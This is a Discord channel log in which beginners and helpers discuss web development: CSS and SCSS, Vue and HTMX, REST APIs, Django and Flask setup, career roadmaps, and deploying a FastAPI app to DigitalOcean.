#web-development
2 messages · Page 235 of 1
Damn, took me a hot second to get my css working and now I need to look into SCSS 😂 would you recommend becoming adept with CSS before trying SCSS?
I tried using jquery but for some reason my command to install it would only install an ancient version so I started trying with react.
Same question for vue, should I become adept in vanilla JS first?
The website I'm trying to build will basically be a blog when considering the functionality it needs, so vue might be the way to go if it's simple. I've been giving myself a headache all day trying to make one dropdown gain options based on the choice of a previous dropdown.
Feel free to attach SCSS right away. All CSS code is a valid SCSS code.
SCSS just introduces ability to use variables/functions/loops/compiled imports and nested CSS code
Basically allows comfortably to have DRY CSS
Ergh. U need to know vanilla JS at least at theoretical level in order to use Vue.js at full capacity.
Knowing that events exist, and u can hook yourself to them. Where to find which events exist.
Which other browser API things exist
Ok 😃 I'll add SCSS but otherwise just keep on trying with JS. I appreciate the advice
Setup guide for Django
1. Create a new folder_xyz
2. Use cmd to go to that new folder_xyz
3. C:\folder_xyz>python -m venv abc-env
4. C:\folder_xyz>abc_env\Scripts\activate
5.(abc_env) C:\folder_xyz>pip install django
6.(abc_env) C:\folder_xyz>django-admin startproject folder_xyz . <-- don't forget dot
7.(abc_env) C:\folder_xyz>python manage.py migrate
8.(abc_env) C:\folder_xyz>python manage.py runserver
Is there any method or tech that does the same job as REST API if I don't wanna use rest API and postman
Clarify what u wish to achieve
Is there any way that I can verify the data sent by an aiohttp session POST request?
I’m using aioresponses as of now to mock out aiohttp requests. But one can just send status code and payload data for a given URL and Method, I can’t seem to find how one can verify the data sent
don't mock a request? then u can verify xD
The aiohttp sends the request to some external server which is not in my control
Can someone answer at least my first question pleaseeeee?
You should maybe tell us what “best practices” you are specifically not following in django
if you use pytest, mark it as @pytest.mark.integration and exclude from normal test runs (in pytest.ini it can be done automatically)
run only in separate test runs for integration without mocking
in unit tests, use it only with mocking
Creating apps and separating some code between lots of different folders and files.
What's the best free service to host FastAPI apps? The one I wish to deploy will be resource intensive as the user will constantly generate artwork via the algos.
If I wanna build a project that takes input from users like name plan add. and then return them response according to what they fill in the form
Can I do that without using REST API
I would say there is no best free services to host backend. They are all crap. Rent cheap hetzner server for normal experience. 5 euro per month or something
Technically there is a free AWS EC2 instance for a year, but it is having like 0.25 CPU in it, and just a bit of nightmare for first experience i think
Also Google Cloud Platform offers some credit for first 6 years of your experience
Problem is AWS/GCP/Azure are big providers overbloated with GUI to the level that it is impossible to work with them without Infrastructure as a Code approach (tools like Terraform are needed)
And Heroku has something free, but it is a bit of an ugly app deployment system, which I don't wish to recommend
Sure. You can do it without Rest API. You will be just returning them HTML page directly. On GET request render page, on POST method return Html page with answer
the point of REST API is just for decoupling backend logic from frontend. And allowing you to use best specialized tools for backend and for frontend
Full stack tools without logic separation are just not scaling in code and aren't meant for real work
But REST API will be more secure right then using HTML page directly as you said its used for decoupling backend logic from frontend.
nearly zero difference in terms of security. Security is handled in more or less in the same way for both cases
ok then why people prefer it over other things ?
as I said the main proffit is decoupling logic and ability to use specialized tools best for both worlds (backend and frontend)
We make REST API once for backend, and can reuse it to render later Web Html frontend / or working for Desktop application or Mobile application
Also we just make more microservices with backend logic, where each REST (or semi rest) application is handling a certain... piece of backend logic. It all scales well with with code growth, because in REST APIs we don't need to care about all of this frontend stuff. We can hook one backend apps depended on others easily when we deal just with JSONs
And for frontend... it allows to use Frontend Frameworks in Javascript. They change experience entirely by introducing Javascript Syntax which makes writing frontend logic 5 times easier. And the main thing they allow easier is to write frontend that renders once and for next actions it is not requesting re renders. All actions happen interactively at client side in browser. Think of it as desktop application loaded once temporally to user, and remaining with him until he closes browser.
Plus Frontend frameworks go with SCSS, which makes layout coding way better as well.
The point is with decoupled logic of frontend from backend, we can use tools which are specialized and allow to write us... clean code. Or at least attempt to do it.
It is all for code growth base and principles for clean architecture, which are important for developers from middle rank and higher.
We learn stuff like OOP / Design Patterns / Domain Driven Design / Code logic isolation in architecture - Clean architecture. All of it to scale code better and keeping it simple to extend further and read. Views code architecture layers should be isolated from Domain logic.
P.S. also because backend and frontend kind of ask different skill sets, and it is better to find people specialized in one thing than crappy developers who can do barely both things.
WoW thanks man 😄
ναι
@ionic raft that's btw the main thing that will prevent easily fixing your application if you did not separate backend and frontend in the beginning. Once you contaminated and broke isolation between View(frontend) and all other layers(lets consider them backend), separating them again is a pain in the ass level of problem. Architecture decisions made in the beginning cost 10-100 times less time and effort.
P.P.S. and all of it leads again to ability independently horizontally scaling machine resources for performance of different app parts.
P.P.P.S. There are more architecture layers introduced in backend which require preferably isolation as well
how can i save uploaded file from form-data in fastapi?
is it better to redirect users to the www version or the non-www version of my webpage?
Thanks. I would have bought a Raspberry pi and self hosted but i have no clue about Linux. It will be too much.
can javascript be used to make a request to the backend? for example, after clicking a delete button, i would like my backend python to change something in a database
That is what all people do
how do you do that? is there any good youtube video that goes through this, as i haven't come across this concept before in the beginner tutorials i've looked through so far
Binding post requests to be performed only on Html forms is a limited feature.
We bind JavaScript to any object.
JavaScript event on click hooked to object.
Can be done nicely in frontend frameworks like Vue.js
Can be done in a more ugly way in vanilla js (something like on mount load, add event listener on click to specifified object)
Can be done in a very neat and simple way with HTMX
A moment, there is a perfect tutorial
Watch this https://youtu.be/cuHDQhDhvPE
I built a simple app with 10 different JavaScript frameworks... Learn the pros and cons of each JS framework before building your next app https://github.com/fireship-io/10-javascript-frameworks
#javascript #webdev #top10
🔗 Resources
Full Courses https://fireship.io/courses/
Performance Benchmarks https://github.com/krausest/js-framework-benc...
U will feel the difference
ok, but i don't want to use a js framework yet
Recommending a full JS framework for something as simple as a delete button isn't particularly helpful - using raw JS or something super lightweight like HTMX makes much more sense
It will show u vanilla js solution too
is there a way to call a function(basically Modifies the values a bit) everytime a form gets submitted in Flask-Form
Use svelte then, it is compiled to raw js, without any virtual DOMs
Svelte is rubbish - in order to understand what is happening you need to get a handle on a bunch of different concepts
HTMX integrates nicely with server side rendering
it requires very little JS knowledge
what backend framework u using? @stable bear
AlpineJS might work as well - because again it is very small and light and easy to start developing with
flask
what are you trying to do here?
you can just use vannila js for that or even jquery
don't use Jquery
i'll stick with vanilla js as i'm very much a beginner
it's not something big in that you shouldn't need to bring in a frontend framework
if you use HTMX, you won't have to write any actual JavaScript
y not?
Gave a quick look. I can agree it looks nice. A better version of JQuery. Nice thing to have for simple stuff
just add some extra properties to your HTML
HTMX is really great - it's a perfect stepping stone to let you do SPA like things in your MPA without having to go all in on a JS framework and the associated miserable ecosystem
yea it does look nice!
It is still not solving data management issues though.
the idea is that you keep your frontend stateless and handle all the presentation logic on the backend
but this doesn't show how you make a request to the backend??
but that's not ideal for some things
I haven't found a great way to do slightly stateful things on the frontend
Use htmx. Better than vanilla js option
is this to do with AJAX requests?
pretty cool
it lets you send AJAX requests without actually writing the code to do it
That is what I mean under data management issues too
what about something like this?
function deleteNote(noteId){
fetch('/delete-note',{
method:'POST',
body: JSON.stringify({noteId:noteId}),
}).then((_res) => {
window.location.href = "/";
});
}
wait so then how will you send data?
yeah, that's my main issue with web dev - there's no nice way to do something like keep a running total on the frontend as the user updates data on the frontend
use what you want
i'm just asking what is this type of way called?
vanilla
Vuex for state management globally
Or just local prop data in it works cool
Vue.Js solves it enough for small apps
ill look at htmx now
yeah, vue is my next thing to try when I have to do something like this
that approach will work
Migrating between Frameworks is painful enough to choose overkill solution in advance.
Htmx+Backend template render in some jinja2 is framework too
I agree - thee approach I currently think is best is probably HTMX for frontend <--> backend communication, along with some petite vuejs for stuff that doesn't ever need to go to the backend. The last thing I went for was HTMX+VanillaJS, and the VanillaJS part just felt clunky
Hi
why Vue?
is it because it's simple to use?
isn't svelte also easy to use? (atleast it says so)
petite* vue, not just vue
hmm
I tried Svelte, wasn't all that thrilled by it
and petite vue seems like the best option for something super lightweight
also no buildchain bullshit is necessary, makes it much easier to get other people developing the project
Vue.js is having rich ecosystem of stable ready to use solutions. Easiest out of big three frameworks for serious work.
Svelte did not have even stable router last time I checked
yea it actually is
Angular is dead or dying, React is only really any good if you definitely want a beefy SPA, Vue really does seem like the nicest option
looked into petite vue and it looks kinda nice
yup angular is going
@rigid laurel what's the big difference b/w vue and petite vue
petite vue is only 6kb, and loading it directly from a CDN is treated as a first class citizen - that means you don't necessarily need to care about a JS buildchain in your project
from the README
petite-vue is an alternative distribution of Vue optimized for progressive enhancement. It provides the same template syntax and reactivity mental model as standard Vue. However, it is specifically optimized for "sprinkling" a small amount of interactions on an existing HTML page rendered by a server framework. See more details on how it differs from standard Vue.
i found it annoying to use tailwind because of the buildsteps
mainly because i didn't have node installed
cool!
if I'm doing a project work work - I want it to be as simple as possible for someone else to get started. Taking Node out of the question, so it's literally "get an editor, clone the repo, run flask" and having people be able to change anything is great
but from an individual perspective, having a build step isn't much more effort
same
btw ^
@tribal tapir Not sure if this will help at all or not...https://stackoverflow.com/questions/66622020/fastapi-detailmethod-not-allowed
eh i already read that but its okay
when i use html in HTMLResponse with fastapi it works
did you read this tutorial?
FastAPI framework, high performance, easy to learn, fast to code, ready for production
take out the request param
you need to save all your files or sm
its perfect code, you probably forgot the save or something
i think if you're serving the html as a Html response then remove the action from the form and just leave in the action
but if i put in index.html file it does not work
i also do the app.static thingy
it was FileResponse before
like FileResponse(index.html) ?
ye
this might be janky asf
but what if you did HtmlResponse(content=open('index.html').read())
btw, its probably unwise to serve html for a framework that is based around making apis. if you want to work with html, i recommend you use flask.
i only have an index page nothing else
Hello
I have this:
listofitems = {
"item01":["value01", "value02", "value03", "value04"],
"item02":["anothervalue01", "anothervalue02", "anothervalue03"],
"item03":["differentvalue01", "differentvalue01", "differentvalue01", "differentvalue01", "differentvalue01"]
}
How is it possible, with jinja, to create two separate drop down menus, one with the keys, the other with the values?
Like a <select>?
You'll probably need some javascript
render the keys in a select, then render the values of each key in separate selects
set the display css property on each one based on which key is selected
If you were using vue, I'd recommend this. ```html
<template>
<select v-model="key">
<option>opt1</option>
<option>opt2</option>
</select>
<select v-show="key == 'opt1'" v-model="value">
<option>xxx</option>
<option>yyy</option>
</select>
</template>
<script setup>
import {ref} from "vue";
const key = ref();
const value = ref();
</script>
guys whats the catch on django? do I need to know HTML or anything else? or django is purely web development with python?
it depends on are you going to be backend developer or a full stack dev. If full stack dev, then would you like to be a crappy full stack dev, or a full scale full stack dev
web development is always uses multiple stuff though
you are expected to learn SQL, if you go to python frameworks. At least in order to understand how python ORM works
to full stack dev with django, what else should I learn
normal people learn django only for its Django Rest Framework
and make with it Rest APIs with exposed endpoints for JSON stuff
full stack with backend framework is a really crappy way to go
even if u for some reason wish to be silly full stack, better to learn django rest framework for backend, and learning stuff like vue.js for frontend
and doing normal full stack together... or at least as much as it would be possible
ok so with django rest framework and vue.js you think I could start with decent web development? I suppose vue.js requires .js knowledge, meaning I need to learn .js before vue.js, is that right?
not trying to be lazy, I'll learn .js eventually
but if its not needed now for web dev then I'll avoid it for the moment
that would be correct
you can't make frontend without js 🤔 I mean you can make a crappy one, but do you wish to?
I dont with to
cause I'm really focusing on python so adding another language could cause confusion :/
then learn how to make REST APIs first
what level of .js knowledge is required to use vue.js
in python?
and that's essentially why full stack developers are crappy often) That's why people only train to be backend or frontend only
like flask rest api?
so whats the solution
ahh
having specialization in backend or frontend only
the solution would be just focusing on one
yup
hmmm
Learn to become a modern backend developer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern backend development.
yeah
the roads are pretty long one for both paths
I saw that yeah :/
and those roads are actually aren't showing the real amoung of knowledge u a supposed to know
front end would be more like design while backend seems to be all the functions of the website
backend sounds much more interesting for my interest
https://github.com/darklab8/darklab_backend_roadmap i made for backend a more realistic roadmap, which counts which SWE knowledge u a also expected to learn
but look at that roadmap, its huge
take a notice of green SWE stuff
you need only green, yellow and light purple (SWE, backend and python blocks)
ignore blue-purple, it is devops
For some reason, I read that as blackend. You know, because dark?
kk
and orange is frontend
sounds cool. Approved.
ok I'm a bit confused
first of
its not at all recommended to learn both front and back end for at least certain projects?
I mean I'll do what's best for my career
it is not recommended to learn both things in the first 2-3 years of your career at least
ok then backend
at some later stages... sure, why not. But first years better to concentrate on one thing
yeah. I would recommend to concentrate first 3 years on one thing at least
this is minimal years of experience after which it is more or less not tooo hard to get hired
it will help you to get easier hired as a junior. And will learn you a lot of basics / initial green stuff from my roadmap
it will help greatly
do you have a degree
yeah, masters degree
on what? 
Bachelor for Math, Master for CS/(data scientish/machine learning a bit)
ah nice
so it was useful for your backend career? is that something businesses value when they have to hire you?
cause I didn't start yet, I should be starting in 1 month exactly, but I was wondering if its better to self teach me everything
degree is kind of... just giving first repuration to get easier hired as junior
and just forces you to teach basics and breaks your mind first time to get into the programming
it is kind of useless in a sense that... the only thing eventually i learned only how to learn stuff
and of course some basics i learned
i needed a lot of self education to catch up after that
and i still need to have a lot of self education if I wish ever to reach next rank xD
programming life is a life of a constant self education
whats next rank for you
yee
middle backend + devops
whats middle backend 🤣
middle ranked python backend developer ;b
its a more advanced backend?
nah
🤔
there is a gradation like Junior, Middle, Senior developer
Junior needs guidance, and makes crappy solution a problem
middle dev is doing stuff on his own better, and does complicated solutions to a simple problem
senior dev can architect solutions, and can do simple solution to a simple problem xD
that's sort of a short description
it is more complicated
wait a second, i will a link that describes it better
kk 🙂
where was that atlassian link with level of ownership for differently scoped devs🤔
sorry I dont get you 🤣
kk 😄
well. I don't have a link
let me write you a more detailed description on my own then
in terms of a backend development, Junior is a dev only little familiar with backend technologies, which tried them at best in pet projects only. No commericla experience with it.
Junior developer is often needs strictly defined task to do.
Junior dev can be knowing nothing about code architecture or even code testing
It is still expected to know what is OOP, or Solid stuff though. But even in this case junior can barely understand what it means really without experience.
Middle ranked devs is already knowing code architecture, about design patterns, different architecture ways in code
middle dev already knows that gathering requirements and building software can be done with SLDC steps
Middle dev can do the tasks on his own without a help
And yet he knows when it is time to ask for a help, because the issue is clearly out of a scope to learn on his own
Middle dev is already knowing for years some technology stacks
and knows basics for literally everything.
From databases to other things.
he can decomposite tasks how to step by step at least in a small scope for himself
Refactoring code to make code better
Different approaches to coding TDD included
Senior ranked dev just knows everything of it at a deeper level. He was exposed to a wide area of things
and can arhictect solutions to the problems on his own, and split them to other developers
Senior ranked dev chooses right technologies to solve a problem
Approaches any problem with a approach of how to solve business problem first, not how to code yet another code
Senior dev controls better risks when development can rush quicker to solution, and when better to delay and concentrate on cleaning/stabilizing stuff for more reliability
Senior dev goes for code solution that he can architect in the right mixture of planning from bottom and from top in advance
Also between ranks is increased level of impact a dev can make, there is a ladder from C1 to C7 or something like that
it kind of a rough description that i wrote on my own. I don't pretend on it being precise 🤔
its pretty clear actually
I understood it all
so let's see...
so as a conclusion, I should focus on my backend (python, ruby, php, java, etc) mainly for the first years, then maybe I could go with frontend (html, css, javascript, etc) or the other way round.
And will that roadmap you shared with me will help me be a good backend dev if I strictly follow it and concentrate on learning all the things related with web-dev?
Ergh. yes it would do better to concentate on backend or frontend. I would mention that. If you go into web dev
it is more expected from backend people to learn actually Software Enginering to which stuff above is applied. To frontend developers it is actually not applied.. at a full scope.
I am not sure if frontend developers are learning software engineering stuff 🤔 (They should be in theory)
my roadmap is made from perspective of a middle backend dev (which also knows devops), it is not having everything precisely in how it should be. It would reach a level what to learn to senior rank, only when i would reach it xD
Software engineering skills are quite great and reusable. Backend devs, mobile devs, desktop devs, we all learn same stuff for a major share
due to a different between operational systems targetered for development, and different ecosystem of libs for our solutions, we still learn a bit of different things, but you get the idea
at my picture a lot of stuff is generic SWE blocks
Also my roadmap is not full, because i could have missed some things which i did not think i need to voice for some reason. Like i could have missed them, because in my mind i expected it to know that obviously so i did not think to voice it
my roadmap is made from a perspective only one person at the moment. Which is not great
in collobration better things are born
Check Software engineer, and read explanations for what is Software engineer from IC1 to IC7 level
that would be pretty much description of what is expected from backend developers at least in initial levels
how it is translated into frontend devs i am not sure.. at least initial levels should apply to them more or less in the same way. not sure if they have available to them higher ranks from ladder
Technically all higher IC ranks require management skills already
so it becomes not really a backend developer / or just a tech person
it starts to sound like Software Architect, or Team/Tech Lead something
lol. Without management skills you can reach only IC2 level out of 7 xD
And where exactly ca I learn soft engeneering? is that everything in ur roadmap pr roadmap.sh?
green boxes go for generic Software Engineering skills within my scope of knowing
reading dropbox explanations, and considering other involved things. I think stuff needs to be expanded 🤔
sorry what is IC
i only know what to read for that xD
😅
and can provide some description what i think it is at my best guess
Management skills = ability to lead developers or teams of developers and event not developers under your lead xD
read the book)
it should have some answers what is it at least
this book should also technically have related material
makes sense
i think i am only IC2 software developer in this grade xD
which learned only some aspects of IC3 level
to be honest, IC1-IC2-IC3 look like exactly Junior/Middle/Senior ranks xD
fun fact, reaching IC3 level is already not within a considerable amount of people careers
each next rank is archieved by even less people than what they will have in their lifetime of career
Has anyone ever had an issue where there files won’t update?
I’ve been trying to change up the css and htlm files that my flask project is using but they refuse to change.
I save the changes and everything but when I run a production server it doesn’t run the files as they should be
The more I read the more interested I become.
Shrugs. There is always interest to have scalable solution that you don't need to scale as it is done automatically xD
i am trying to learn AWS now
it is a nightmare
A. Use Amazon EC2 in an Auto Scaling group with On-Demand instances.
B. Build the application to use Amazon Lightsail with On-Demand Instances.
C. Create an Amazon CloudWatch cron job to automatically stop the EC2 instances when there is no activity.
D. Redesign the application to use an event-driven design with Amazon Simple Queue Service (Amazon SQS) and AWS Lambda.
in those options I would like to choose D2
Do it with open source solution for event driven design in Kafka
that's not really answering scaling hardware question though
i would have to resort to kubernetes auto scaling node pools highly likely
Question: I'm trying to create a registration form where users can select their cities based on the region they are selecting.
I've already implemented the functionality above for registrants selecting regions based on the countries they choose, but can't seem to get it right for a double-chained dropdown option.
Here is my code for the HTML page, forms, and views: https://pastebin.com/VCGjzcMC
Any tips would be great, thanks
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Question 1: How do I get a precentage variable from my js code to work in css.
Question 2: Is it possible to make animation (css) to do its thing once?
Here is my code, dont question it and dont bully me. (= https://pastebin.com/EfQ8MArn
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Question 1; possible easily in frontend frameworks. No idea how in vanilla
Question 2: easily in frontend frameworks, because u can any custom trigger for its start. No idea how in vanilla
Obviously in vanilla js everything is possible to be done too... Just way harder. U need to know it at hacker level to do it, when any newbie can do it in Frontend framework
Can you help me make it work?
No, but I can recommend learning Vue.js
Official docs are cool
And Vue CLI 5 for vuejs project setup out of the box
Smallest learning curve, maximum enjoy
Bro, I am just trying to make a simple animation. No offense, I dont understand why you would answer me and say Idk now how to do that, but this is frontend stuff...
It would be great if you could help me make this work with what I have. I am pretty sure its not that complicated just I dont know how things interact with each other yet
can't you just change "infinite" to "1"?
that might be all you have to do
then you can also change the duration to 5s and the 50% keyframe to 100%
@brisk tide
I kinda want it to be slow, but this is helpful
Do you know how I can make the whole line fade away or something?
I want it to make multiple lines and they should fade away after a little while
@indigo kettle
I think you can edit the opacity in your keyframes
.scrolldown::before {
content: '';
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: linear-gradient(transparent, #fff, transparent);
animation: animate 5s linear 1; /*Make this thing go only once, idk what to change infinite to*/
opacity: 0;
}
.background {
background-color: #000000;
background-image: #000000;
height: 100%;
width: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
position: relative;
}
@keyframes animate {
0% {
transform-origin: top;
transform: scaleY(0);
opacity: 1;
}
50% {
transform-origin: top;
transform: scaleY(1);
}
100% {
opacity: 0;
}
}
had to add opacity: 0 at the start for it not to reappear
Ok, made that work the way I want it now how do I make the css import the precentage from my js code?
content: '';
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: linear-gradient(transparent, #fff, transparent);
animation: animate 15s linear 1; /*Make this thing go only once, idk what to change infinite to*/
opacity: 0;
}
.background {
background-color: #000000;
background-image: #000000;
height: 100%;
width: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
position: relative;
}
@keyframes animate {
0% {
transform-origin: top;
transform: scaleY(0);
opacity: 1;
}
67% {
transform-origin: top;
transform: scaleY(1);
}
100% {
opacity: 0;
}
}```
Like if I make this
.scrolldown {
position: absolute;
top: 45%;
left: var(intplacmentpre);
transform: translate(-50%, -50%);
width: 3px;
height: 100%;
background: transparent;
}```
Then it will just place the line all the way on the left
No matter what number I generate
function refreshData()
{
x = 3;
let placment = Math.random() *100;
let intplacment = Math.round(placment)
let intplacmentpre = intplacment+"%";
setTimeout(refreshData, x*1000);
}
refreshData();
Every 3 seconds it should generate a new left precentage from 0 - 100
@indigo kettle
I'm creating a League web project, and something is bothering me, the irelia's line is kind of off, everything is inside a <section class="champions_profile"> can someone help me with this?
the html
Any Django-Unicorn users? Curious if anyone is using it in production.
does anybody know why I can't install it? I'm new at this and i just follow Mr. Mosh at youtube https://www.youtube.com/watch?v=rHux0gMZ3Eg&t=787s
Python Django Tutorial for Beginners - Learn Django for a career in back-end development. This Django tutorial teaches you everything you need to get started.
- Get the complete Django course (zero to hero): https://bit.ly/3E7Iq4d
- Subscribe for more Django tutorials like this: https://goo.gl/6PYaGF
Other resources:
Python Tutorial for Beginn...
Need to install pipenv
Or just use pip3 or pip which version you have to install django
If still get the error after installation has to do with the path
it won't install anymore i don't know why
Like pipenv wont install?
i see maybe that's the one
the free antivirus starts detecting it and says secure/protected then nothing
Could show terminal command?
does the django online still the same ?
You can try disabling that anti vitus maybe
Then follow tutorial in installing pipenv
yeah i guess, i'll try, THANKS
Folks,
I'm trying to deploy my FastAPI app to DigitalOcean. This is how I run it locally:
app.py - client side web application (transpiled files get put into ./src/__target__/)
(venv) $ transcrypt --nomin --map src/app.py
nft_server.py - FastAPI REST server
(venv) $ uvicorn --app-dir src nft_server:app --reload
http://localhost:8000
What do I add as build command and run command here?
Guyz,
How can i run py script, that i have on DG ocean droplet from webpage button click? I am scraping table, so i want to bind my scraper to webpage button, so when customer clicks on button scraper runs on DG Ocean droplet an parses table, so customer sees current data
@random topaz , you need to expose that logic via web service. There are several ways to do this - Flask framework is a popular one
check other options here - https://github.com/vinta/awesome-python#restful-api
@gusty hedge yes, i have used flask for previous project, but now i am working on WORDPRESS But what if i use IFRAME and put only button there? what do you think?
I've seen they use the Procfile for that - check Flask sample - https://github.com/digitalocean/sample-flask
Thanks, let me read
will this work for fastAPI too? So I should use the commands they use?
not sure I'm fully understanding your needs
it should. They also provide a way to run containers, in case you want more control
i will create Flask App, deplay it on DG Droplet and using IFRAME i put it on wordpress page
I just want it to work. lol. I'm having trouble understanding python deployment
very strange this github readme doesnt have any build command specified
is it not working for you?
fingers crossed. left everything blank as suggested
Deploy Error: Container Terminated
any more information?
so build log shows a green tick. I assume it suceeded
deploy log: ERROR: failed to launch: determine start command: process type web was not found
what's the command you put there?
so maybe I leave the buil command blank but put something in run command?
I left both blank as per the readme
did you set the Procfile?
no. cant find any such thing...
do I set it in my repo?
yes
im getting this key error which i've narrowed down to an api call. my site is making the call then passing it to a class. then when in production, the site grabs the number that's held in the class but throws a key error. in development, it gets the number and proceeds. any ideas?
will it be same as the github? web: gunicorn --worker-tmp-dir /dev/shm --config gunicorn_config.py app:app
or will mine be custom?
my guess is that you need to put the uvicorn comand you posted initially
thanks. will try
Can we automate app android using python?
my pycharm IDE asks for a type. I have put text file. Hope thats correct
sorry, no idea what that means
mm ok
yaml: unmarshal errors:
[2022-07-15 10:55:08] line 1: cannot unmarshal !!str `uvicorn...` into map[string]string
[2022-07-15 10:55:08] ERROR: failed to build: exit status 3
[2022-07-15 10:55:13]
[2022-07-15 10:55:13] For documentation on the buildpacks used to build your app, please see:
[2022-07-15 10:55:13]
[2022-07-15 10:55:13] Python v0.211.4 https://do.co/apps-buildpack-python
[2022-07-15 10:55:13]
[2022-07-15 10:55:13] ! Build failed
retrying with the word web: ahead of uvicorn
someone needs to build a giga-tool to encompass all kinds of deployments and builds so everything can be done via GUI instead of typing unintelligible commands in 9 different places.
or outsource this shit to AI
Hello
Is it possible to disable Flask-Talisman for some routes ( html pages) ?
I have the following DOM layout (rendered from markdown). How can I hide anything not part of the first h2 section? i.e. hide everthing after and including the second h2?
preferably with css
I ended up with this. ```scss
h2 ~ h2 {
// hide the extra headers
display: none;
& ~ * {
// hide the extra logs
display: none;
}
}
guys i have a small problem regarding django
i made a new project but each time i run the server or make migrations
it says ModuleNotFoundError: No module named 'league'
league was the name of my last project
idk why it still thinks league exists in this new project of mine .. i also use a diffrent env folder here
this is the file structure i have
this is a picture with the installed apps and the error i get
I'm having an issue with my css not working for some specific tags, it works for the rest of the code, but when it comes to the ids: parents, img1 and img2 I doesn't work
{% load static %}
{% block css_files %}
<link rel="stylesheet" href={% static 'lore/css/index.css' %}>
{% endblock css_files %}
{% block title %}Welcome to LeagueLore{% endblock title %}
{% block content %}
<section class="champions_profile">
<ul>
{% for stat in stats %}
<li>
<a id="parents" href="">
<img id="img1" src="{% static 'lore/images/champions_profile_image/' %}{{stat.champion_name}}.png">
<img id="img2" src={% static 'lore/IconFrame.png' %} alt="">
<h5>{{stat.champion_name}}</h5>
</a>
</li>
{% endfor %}
</ul>
</section>
<ul></ul>
{% endblock content %}```
I created a model in which I have a field called published_date, this field is set by a function "publish", which when called will set published_date to current time and date and then save the form to the database. I created a form using ModelForm. I used form.as_p in the template. I want my submit button to call the "publish" function when I click it. But things don't work.
Hello
I am using a jinja variable in a javascript file var subjectObject = {{ superlist|safe }} ( the value of the jinja variable is a dictionary from python )
In html i am loading the javascript file like:
{% block javascript %}
<script type="text/javascript">
{% include '/static/js/triplechoice.js' %}
</script>
{% endblock %}
And it is working,
But it needs to have the JS file relative to the index.html file , as in: index.html/static/js/triplechoice.js )
But I am using Flask with a different Folder structure ( https://python-adv-web-apps.readthedocs.io/en/latest/flask3.html#folder-structure-for-a-flask-app )
How is it possible, with jinja, to have the triplechoice.js file in Flask's main_dir / static / js , please?
I hope this sheds more light:
> tree
.
├── __pycache__
│ └── listofitems.cpython-38.pyc
├── app.py
├── listofitems.py
├── static
│ └── js
│ └── triplechoice.js ( it cannot find the file here )
└── templates
├── index.html
├── layout.html
├── login.html
├── page.html
└── static
└── js
└── triplechoice.js ( working if it is here )
https://www.oliegrey.com/ rate my responsive menu bar (placeholder image) 
dreadful. What are those fixed multiple @media sizes? Use flexboxes (and just in general % based size, limited to max/min size) and make a smooth transition between all sizes, so it would be equally responsive for all types of screens.
internal margins/paddings are kind of messed up at desktop version also
Design / object placement also goes haywire in mobile version
brutal. this is my first website i've tried to make from scratch 
well. I need to work on my scoring skills though. They need to be more encouraging 🤔 so some work on soft skills is required from me. Here i am dreadful
<script>
// JabbaScript zone
let username = {{current_user.name}}
</script>
thx
i would recommend actually learning javascript basics. Because there are a lot of directions to send from/to
Server side
Client side html zone and css zone
Client side javascript data model
going from any choice to any choice, and then wishing it changed back to some other direction... you know. kind of a lot of directions. It becomes simpler with javascript frontend frameworks though (which you can use in flask templating engine too)
<script>
let user = `{{current_user.name}}`;
console.log(user)
</script>
i can return the data like json from the server ? 0.o
yes?
you can send JSON data from Server side to Client side javascript model
and you can send from Client side javascript model to Server side
and you can send from Client side javascript model to Clietn side Html zone/ css zone
And you can send from client side html zone/css zone to Cient side javascript data model
Well, and obviously you can directly render Server side into Client side html/css, with returning responce back through some html forms and with html forms+touch of action/listener javascript
thx uwu
It is working like this
<script type="text/javascript">var subjectObject = {{ superlist|safe }}</script>
<script src="{{ url_for('static', filename='js/triplechoice.js') }}"></script>
And removed the variable from the JS file.
I am not getting the desired output from my code. The details are in #help-orange, please help me if you can!
I am really desperate :/
You trying to deploy a project?
A few quick observations:
- White font is lost on background;
- background image has a fixed width - page looks messy on wider resolution;
- logo colour is also getting lost;
- use of grey background on drop-down menus is better;
- not keen on hamburger right of login - I'd display login as menu item when wide, and have login within hamburger responsive;
- Below the nav-bar the page I assume has not been worked on at all - no comment;
- mixed feelings on the responsive nav-bar image - overall, I'd not use an image in this way, but I do understand why you'd like it work. Maybe a part of the problem is that the overall design hasn't been done. A nav-bar isn't meant to be a stand alone feature. Function and form for a nav-bar can only really be fully understood within the context of the entire page...
Hope that helps. Good luck
Get ready for cors
If we are doing it how about the one i made http://vmi656705.contaboserver.net:8000/
I already put CSRF protection
That is different
Cors is for when you make api calls from a browser
I thought CORS was like requesting resources like a web api from a different domain
About that I'm sure I have the validation of the CSRF token in the api well, the one you see now was just a test to test, now it doesn't exist XD
To avoid a "bypass" of that token I am storing it in a temporary cookie, I don't know how good a practice it is
Can someone please help me sort the errors in deployment of my FastAPI app to digital ocean? https://www.digitalocean.com/community/questions/deploy-build-errors-in-fastapi-app
how do i embed my js file into html
im getting this key error which i've narrowed down to an api call. my site is making the call then passing it to a class. then when in production, the site grabs the number that's held in the class but throws a key error. in development, it gets the number and proceeds. any ideas?
Anyone know of any libraries that can be used with Python to stream locally owned music?
Like if I wanted to put my favorite albums on a website for anyone to listen to.
i made a html website with images.but it didnt show images and showed the load image symbol i tried but the image wasnt loading
I want to reverse engineer a website, to see how it works, like the button click and stuff like that, is there any tool which I can use to just F9 a button and after that go through everything and every js function that gets called by the website?
i have a simple website built for this, its just a button which runs some JavaScript, and i want to debug it on the browser side
please ping on reply
Folks,
I successfully deployed FastAPI app to Digital Ocean. It shows build and deploy both succeeded. But page wont load. https://sea-lion-app-x4nso.ondigitalocean.app/
console log shows 504 error
please help
[2022-07-16 08:47:38] import tkinter as TK
[2022-07-16 08:47:38] File "/workspace/.heroku/python/lib/python3.10/tkinter/__init__.py", line 37, in <module>
[2022-07-16 08:47:38] import _tkinter # If this fails your Python may not be configured for Tk
[2022-07-16 08:47:38] ModuleNotFoundError: No module named '_tkinter'
[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [16] [INFO] Worker exiting (pid: 16)
